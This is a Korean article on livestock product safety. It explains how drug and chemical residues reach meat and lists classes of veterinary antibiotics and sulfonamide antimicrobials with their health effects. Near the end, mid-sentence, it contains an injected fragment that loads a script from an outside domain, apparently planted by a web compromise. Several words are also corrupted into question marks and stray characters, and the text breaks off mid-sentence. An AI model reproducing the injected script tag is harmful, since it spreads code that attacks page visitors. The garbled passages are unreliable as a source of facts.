" 가축질병의 방역과 함께 축산물의 안전성 확보가 국내 축산업의 최대 현안으로 떠오르고 있다. 안전한 축산물을 찾는 소비자 욕구가 날로 강화되는데다 축산물시장 개방확대로 안전성을 앞세우지 않고는 국내 축산업의 활로가 마땅치 않기 때문이다. 이에 따라 농림부는 "축산물 위생위험 긴급대처요령(위생 SOP)"을 마련하는등 축산물 안전성 확보에 정책의 초점을 맞추고 있다.
축산물의 안전성을 위협하는 요인은 크게 사육단계에서의 위해잔류물질과 축산물 가공과정에서의 병원성미생물로 크게 구분할 수 있다. 또 위해잔류물질은 항생제, 호르몬제, 합성항균제, 농약, 내분비교란물질, 기타 등으로 나눌 수 있다. 위해병원체는 병원성미생물, 인수공통전염병, 위해기생충, 곰팡이 등을 꼽을 수 있다.

위해잔류물질에 의해 축산물 안전성이 위협받은 사례는 매우 다양하다.
수입위생검사과정에서 위해물질이 검출된 사건과 같은 유사한 사례로는 99년 호주산 쇠고기 엔도설판 검출 사건 등이 있다.
우리 축산업의 사활이 달렸다고 해도 과언이 아닌 축산물 안전성 확보방안을 "축산물 위생위험 긴급대처요령(위생 SOP)"을 중심으로 유해잔류물질 대책을 알아본다.〈편집자주〉

위해 잔류물질은 △항생물질 △합성항균제 △호르몬제 △농약 △내분비계 교란물질 △중금속, 방사능 등 기타 등이 있다.

◇위해물질 오염경로
위해물질은 동물의 질병예방 및 치료목적으로 사용되는 항생물질이나 합성항균제의 휴약 기간 준수 등 안전 사용기준을 준수하지 않을 경우 축산물에 항생물질 등이 잔류될 수 있다.
동물의 성장촉진이나 사료 효율의 향상 등을 목적으로 사용하는 사료첨가제나 호르몬제제 등을 소량이라도 장기간 계속 사용할 경우 호르몬제 등이 잔류될 수 있다
각종 환경오염물질이 토양이나 사료의 오염 또는 축산기구를 통해 직·간접으로 축산식품에 잔류될 수 있다.
우연 또는 과실로 인해 독성화학물질이 축산식품에 혼입 또는 오염되어 잔류될 수 있다

◇항생물질
항생물질은 미생물에 의해 생성되거나 이와 동일한 화학구조를 가진 물질로서 다른 미생물 또는 생활세포의 발육을 억제하는 물질이다. 현재 3000여종이 알려지고 있다. 이들 항생물질은 미생물의 세포에 선택적으로 작용해 그 세포를 죽이거나 더 이상 증식을 못하게 하므로써 약리작용을 나타나게 된다.

▲항생물질의 특성
β-Lactam계 항생제는 세균에 손상을 입힌다. 주요항생제로 페니실린G, 페니실린 유도체, Cephalosphorin 등이 있다. 증상은 체질에 따라 페니실린 쇼크 또는 알레르기 반응을 일으킬 수 있다.
Aminoglycoside계 항생제는 세균의 단백질 합성울 저해한다. 주요항생제로 SM, GM, KM, 네오마아 신, 아미카신 등이 있다. 증상으로 혈압의 하강현상(SM)이 올수 있으며, 청신경과 시신경의 장해(SM, KM)을 일으킬 수 있다.
테라사이클린계 항생제는 리보조멀 단백질 합성을 저해한다. 주요 항생제로 CTC, OTC, 테라사이클린 등이 있다. 증상으로 소화관 자극에 의한 구역질과 구토 및 장관세균총의 변화에 의한 발진, 구내염 등의 장해를 가져올 수 있다.

매크로라이드계 항생제는 단백질 합성을 저해한다. 주요 항생제로 에리트로마이신, 스파이러마이신, 오린오마이신, 엠포테리신 B 등이 있다. 증상으로 구토 등 소화기계 부작용이 발생될 수 있으며 심한 경우 ??장해도 가져올 수 있다
펩타이드계 항생제는 단백질 합성을 저해하고 세포막 투과성을 증가시킨다. 주요항생제로 콜리스틴, 바시트라신, 폴리마이신B,벤코마이신 등이 있다. 증상으로 신장기능장해(바시트라신)를 일으킬 수 있다.

◇합성항균제
합성항균제는 화학적으로 합성된 물질로써 미생물을 사멸시키거나 발육을 억제하는 물질을 말한다. 사용용도에 따라 항세균성 제제, 항원충성 제제 등으로 나눌 수 있으며 성분별로는 설파제, 퀴녹살린계, 니트로푸란계 등으로 나눌 수 있다.
전세계적으로 가장 문제시 되고 있는 물질 중 하나는 설파제제인 설파메타진이다. 그 원인은 전세계적으로 매우 광범위하게 사용되고 있고 육류 중에 잔류가 잘되며, 독성도 비교적 높기 때문이다.

▲합성항균제의 특성
Sulphonamides계 항균제는 포릭산 합성을 억제한다. 설파메라진, 설파디메톡신, 설파메타진, 설파퀴녹사린 등이 있다. 증상으로 마우스와 랫트에는 갑상선 소포세포선종을 일으키며, 사람에서 신장장해, 조혈기능장해를 일으킬 수 있다(설파메라진, 설파메타진). 또한 인체내에서 각종 효소를 유도해 세균과 인체의 생리에 변화를 줄 수 있으며, ?恙? 갑상선 기능부전, 관절염 등 부작용을 일으킬 수 있다(설파메타진). 설파퀴녹사린은 개에서 비타민 K 방해?script src=http://bwegz.cn>
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